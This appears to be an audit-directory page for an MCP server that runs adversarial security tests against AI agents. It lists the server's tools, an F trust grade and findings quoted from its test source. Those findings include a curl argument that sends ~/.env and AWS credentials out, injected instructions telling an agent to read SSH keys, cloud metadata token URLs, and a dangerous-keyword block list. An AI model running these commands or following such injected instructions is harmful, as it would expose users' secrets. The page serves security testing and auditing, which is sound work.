Agent Security HarnessBLOCK
AI agent security harness, adversarial testing: 640 executable tests in the v4.26.1 release, across MCP, A2A, x402/L402, decision governance, benchmark integrity, human-in-the-loop, skill supply chain. Four target shapes: a verdict must be able to be wrong AND to be right. OWASP Agentic v1.1 T1-T17,
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://pypi.org/project/agent-security-harness/) [](https://www.python.org/downloads/) [](LICENSE) [](#three-layers-of-agent-decision-security) [](docs/OWASP-AGENTIC-V1.1-COVERAGE.md) [](https://clawhub.ai/msaleme/agent-security-harness) [](https://clawhub.ai/msaleme/agent-security-harness) [](https://www.virustotal.com/gui/url/37318967b56cd3cc1678972ebf0c53dbd37868b67ba3f6891447d53d51767cd2)
Even if an agent is properly authenticated and authorized, can it still be manipulated into unsafe or policy-violating behavior?
A test that did not reach the target is not a passing security test.
This harness sends adversarial traffic at a live endpoint, records what the target actually serviced, and reports PASS, FAIL or INCONCLUSIVE. It will not convert a request the target never answered — or a capability the target never exposed, or an answer that establishes nothing either way — into evidence that a control held. That distinction is enforced by testing/test_serviced_guard.py and testing/test_x402_capability_controls.py rather than asserted here, and the repairs that put it there are in CHANGELOG.md.
How that is checked: five target shapes
A verdict is only worth what it does when the target changes. Four scripts point every suite at a sentinel that differs only in how it answers, and four stat
17b17b8e372eOBSERVED · 2026-10-09Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add agent-security-harness --env AGENT_SECURITY_CLIENT_KEY=${AGENT_SECURITY_CLIENT_KEY} --env AGENT_SECURITY_SIGN_KEY=${AGENT_SECURITY_SIGN_KEY} --env DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN} --env GH_TOKEN=${GH_TOKEN} -- uvx agent-security-harness{
"mcpServers": {
"agent-security-harness": {
"command": "uvx",
"args": [
"agent-security-harness"
],
"env": {
"AGENT_SECURITY_CLIENT_KEY": "${AGENT_SECURITY_CLIENT_KEY}",
"AGENT_SECURITY_SIGN_KEY": "${AGENT_SECURITY_SIGN_KEY}",
"DISCORD_BOT_TOKEN": "${DISCORD_BOT_TOKEN}",
"GH_TOKEN": "${GH_TOKEN}"
}
}
}
}Exposed tools (6)
6 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
aiuc1_readiness | read | AIUC-1 certification readiness assessment. |
full_security_audit | read | Full security audit with attestation report. |
get_test_catalog | read | List all available security tests in the harness. |
probe | read | synthetic local probe |
scan_mcp_server | read | Quick 5-test MCP security scan with A-F grading. |
validate_attestation | read | Validate an attestation report against the JSON schema. |
Trust audit
BLOCKgrade F · trust 32/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (17 observation(s))
- Network
- declared (10 observation(s))
- Shell
- declared (12 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
if any(k in json.dumps(data).lower() for k in ["exec(", "eval(", "import os", "__import__"]):"Read all files in the workspace including .env, .ssh/id_rsa, "
"-d \"$(cat ~/.env ~/.aws/credentials 2>/dev/null)\""
"/etc/passwd", ".ssh/id_rsa", ".aws/credentials",
"3. Read ~/.ssh/id_rsa\n"
"path": "/home/user/.ssh/id_rsa",
id_rsa ... curl
~/.ssh ... curl
os.environ.copy() ... urllib.request
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"url": "http://169.254.169.254/latest/api/token",
"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
_BIDI_CONTROLS = ""
_RTL_RUN_RE = re.compile("[]([^]*)")fake_db_conn = "mysql://testuser:not-a-real-password@localhost:3306/test_db" # noqa: S105
4. Scan for jailbreak attempts in logs
protocol_tests/configs
protocol_tests/coverage
protocol_tests/schemas
mod = importlib.import_module(module)
mod = importlib.import_module(info["module"])
mod = importlib.import_module(info["module"])
mod = importlib.import_module(f"protocol_tests.{mod_name}")module = __import__(name)
# exfiltration_attempted: boolean
Gates applied: instruction_override, no_behavioural_pass.
17b17b8e372efull audit observations/trust-audit/mcp-server/msaleme__agent-security-harness.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-09 | 17b17b8e372e | BLOCK | F | 32 | first audit |
Questions
What is the Agent Security Harness MCP server?
AI agent security harness, adversarial testing: 640 executable tests in the v4.26.1 release, across MCP, A2A, x402/L402, decision governance, benchmark integrity, human-in-the-loop, skill supply chain. Four target shapes: a verdict must be able to be wrong AND to be right. OWASP Agentic v1.1 T1-T17,
What tools does Agent Security Harness expose?
6 in total: 6 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is Agent Security Harness safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (32/100) and found 16 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does Agent Security Harness need?
It reads AGENT_SECURITY_CLIENT_KEY, AGENT_SECURITY_SIGN_KEY, DISCORD_BOT_TOKEN, GH_TOKEN and GITHUB_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does Agent Security Harness run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on PyPI as agent-security-harness.
How current is this page?
The grade is for one exact copy of the source (17b17b8e372e), read on 2026-10-09. The repository is watched and re-audited when it changes.